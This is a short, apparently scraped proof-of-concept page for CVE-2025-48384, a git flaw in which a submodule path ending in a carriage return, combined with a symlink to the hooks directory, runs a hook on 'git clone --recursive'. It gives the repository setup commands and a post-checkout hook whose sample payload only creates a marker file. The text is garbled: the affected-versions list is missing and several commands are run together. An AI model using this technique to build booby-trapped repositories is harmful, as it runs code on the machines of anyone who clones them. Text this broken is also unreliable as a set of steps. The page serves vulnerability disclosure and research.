
PoC for CVE-2025-48384
CVE-2025-48384 takes the form of an improper link resolution (link following) vulnerability in git. Specifically, filenames with carriage returns are improperly parsed in .git/config, and including a symlink to point a git hook executable located in a submodule as the submodule hooks directory may lead to arbitrary code execution when the repo is cloned with git clone --recursive.
Git for Microsoft Windows is not affected by this vulnerability, primarily leaving specific git versions on linux and MacOS vulnerable. Affected versions are:
post-checkout git hook to execute code when the
poc repo is cloned recursively:#!/bin/bash
touch ~/hackedlol
git submodule add https://github.com/<your submodule repo>.git subgit mv sub $(printf "sub\r")printf "\tpath = \"sub\r\"\n" to .gitmodules and remove the original path.ln -s .git/modules/sub/hooks sub